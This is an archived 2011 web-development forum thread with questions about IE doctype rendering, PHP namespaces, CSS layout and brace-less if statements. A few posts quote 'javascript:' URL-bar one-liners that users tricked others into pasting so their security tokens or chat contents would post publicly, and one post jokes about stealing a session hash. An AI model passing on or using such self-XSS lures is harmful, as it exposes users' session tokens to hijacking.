Web Development Questions That Don't Need Their Own Thread v2
3,079 replies, posted
We're having some troubles with using internet explorer, doctype totally breaks our website in chrome, safari and firefox. Most of our client's customers will use internet explorer 6> so if it breaks both chrome and IE, our client most likely won't be happy. Do you guys have any solutions?
[QUOTE=Ac!dL3ak;30153066][code]Fatal error: Namespace declaration statement has to be the very first statement in the script in code.php on line 1[/code][/QUOTE]
i'll give you a hint, it's because php sucks
[QUOTE=tngr;30153827]i'll give you a hint, it's because php sucks[/QUOTE]
that narrows it down a lot
[QUOTE=Ac!dL3ak;30153066][php]
<?php
namespace herp;
class derp {
public static $foo = "bar";
}
[/php][/QUOTE]
[editline]31st May 2011[/editline]
[QUOTE=tngr;30153827]i'll give you a hint, it's because php sucks[/QUOTE]
What did you do this time Tangara?
[QUOTE=StinkyJoe;30154075][editline]31st May 2011[/editline]
What did you do this time Tangara?[/QUOTE]
i was like in chat:
hey guys, paste this into the url bar: javascript:$.post("/chat/", { message: SECURITYTOKEN, token: SECURITYTOKEN });
[editline]31st May 2011[/editline]
it's only a three-dayer though
[QUOTE=tngr;30154263]i was like in chat:
hey guys, paste this into the url bar: javascript:$.post("/chat/", { message: SECURITYTOKEN, token: SECURITYTOKEN });
[editline]31st May 2011[/editline]
it's only a three-dayer though[/QUOTE]so you could get their security token, heh
Once chat is live, I'm going for garry's vb session hash.
Disclaimer: I did not say that.
[URL=http://imageshack.us/photo/my-images/801/indexpage.png/][IMG]http://img801.imageshack.us/img801/8003/indexpage.png[/IMG][/URL]
Okay so like how do i get rid of the space on top which is circled in red.
And how do I add a border or banner/photo in the sides where the green squiglly lines are?
Source code is in my comment lower on the page.
[IMG]http://i.imgur.com/bibCc.png[/IMG]
how accurate are these stats? this is sorta creepy
[QUOTE=garychencool;30157345][URL=http://imageshack.us/photo/my-images/801/indexpage.png/][IMG]http://img801.imageshack.us/img801/8003/indexpage.png[/IMG][/URL]
Okay so like how do i get rid of the space on top which is circled in red.
And how do I add a border or banner/photo in the sides where the green squiglly lines are?
PM me for the HTML/CSS Code.[/QUOTE]
You're better off just posting the code in [noparse][code][/code][/noparse] tags.
Moving the menu up will be an issue with the containers padding.
The other issue is easily solved by adding a background-image property to the body.
Since it looks like you're using Dreamweaver design view, it may be more complicated.
[editline]31st May 2011[/editline]
-snip-
Using jQuery for something easily done in CSS is dumb.
[QUOTE=garychencool;30157345][URL=http://imageshack.us/photo/my-images/801/indexpage.png/][IMG]http://img801.imageshack.us/img801/8003/indexpage.png[/IMG][/URL]
Okay so like how do i get rid of the space on top which is circled in red.
And how do I add a border or banner/photo in the sides where the green squiglly lines are?
PM me for the HTML/CSS Code.[/QUOTE]
I don't really see the point of PMing for the code since all websites show the source code no matter how hard you try to not allow anothers to see it.
[QUOTE=garychencool;30159784]wall of china[/QUOTE]
[url]http://jsfiddle.net/zzlawlzz/Cf3u9/[/url]
time to edit.
[editline]31st May 2011[/editline]
it looks fine on IE
[QUOTE=zzlawlzz;30159909][url]http://jsfiddle.net/zzlawlzz/Cf3u9/[/url]
time to edit.
[editline]31st May 2011[/editline]
it looks fine on IE[/QUOTE]
Um...., yeah.....
My page on IE7
[URL=http://imageshack.us/photo/my-images/803/indexpageie7.png/][IMG]http://img803.imageshack.us/img803/6882/indexpageie7.png[/IMG][/URL]
My page on Google Chrome...
[URL=http://imageshack.us/photo/my-images/812/indexpageongooglechrome.png/][IMG]http://img812.imageshack.us/img812/7324/indexpageongooglechrome.png[/IMG][/URL]
And finally, my page on jsFiddle (btw, thanks for linking me to the site)
[URL=http://imageshack.us/photo/my-images/189/indexpageonjsfiddle.png/][IMG]http://img189.imageshack.us/img189/8684/indexpageonjsfiddle.png[/IMG][/URL]
I think on jsFiddle, it's different or something....
oh right that's why you like that idiot lucky you're 14
[QUOTE=parket;30160169]oh right that's why you like that idiot lucky you're 14[/QUOTE]
noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo, im 13!!!!!!!
/sarcasm
btw, lucky isn't an idiot.
WHY SO STEREOTYPICAL?
[QUOTE=parket;30160169]oh right that's why you like that idiot lucky you're 14[/QUOTE]
Why dont you stop being so stereotypical? Not all 14 year-olds are idiot's.
what happens if you dont use {} after if, saw some code did this and dont understand how it works
[QUOTE=Pocoyo;30160466]what happens if you dont use {} after if, saw some code did this and dont understand how it works[/QUOTE]
Are you referring to PHP?
yeap
[QUOTE=tngr;30154263]i was like in chat:
hey guys, paste this into the url bar: javascript:$.post("/chat/", { message: SECURITYTOKEN, token: SECURITYTOKEN });
[editline]31st May 2011[/editline]
it's only a three-dayer though[/QUOTE]
I did that first, and then javascript: $.post("/chat/", { message: $("chat").html(), token: SECURITYTOKEN }); which got me a month :<
[QUOTE=Pocoyo;30160521]yeap[/QUOTE]
Its the correct Syntax for an if statment.
if ($fp = "down") {
echo "FP is Down, QQ.";
}
[php]
if ($fp == "down") {
echo "FP is Down, QQ.";
}[/php]
[QUOTE=20 Smartness;30160966][php]
if ($fp == "down") {
echo "FP is Down, QQ.";
}[/php][/QUOTE]
Ah, Forgot to use php tags, Apologies.
[QUOTE=Dorkslayz;30160978]Ah, Forgot to use php tags, Apologies.[/QUOTE]
No, double equals.
[QUOTE=20 Smartness;30161021]No, double equals.[/QUOTE]
Yeah, That too.
i meant something like
[php]
if ($fp == 'down') echo 'fp is down';
else if ($fp == 'up') echo 'fp is up';
else echo 'not up or down';
[/php]
where {}s are not used, sorry if i didnt phrase my question correctly.
[QUOTE=Dorkslayz;30160941]Its the correct Syntax for an if statment.
[php]
if ($fp == "down") {
echo "FP is Down, QQ.";
}
[/php][/QUOTE]
He asked why an if statement had no brackets. You can leave out the brackets if there's only one thing happening. Like this:
[php]
if ($fp == "down")
echo "FP is Down, QQ.";
[/php]
While it looks a little neater sometimes, I wouldn't recommend it because it breaks consistency.
what happens if there are multiple lines after it?
They get executed on the spot.
Sorry, you need to Log In to post a reply to this thread.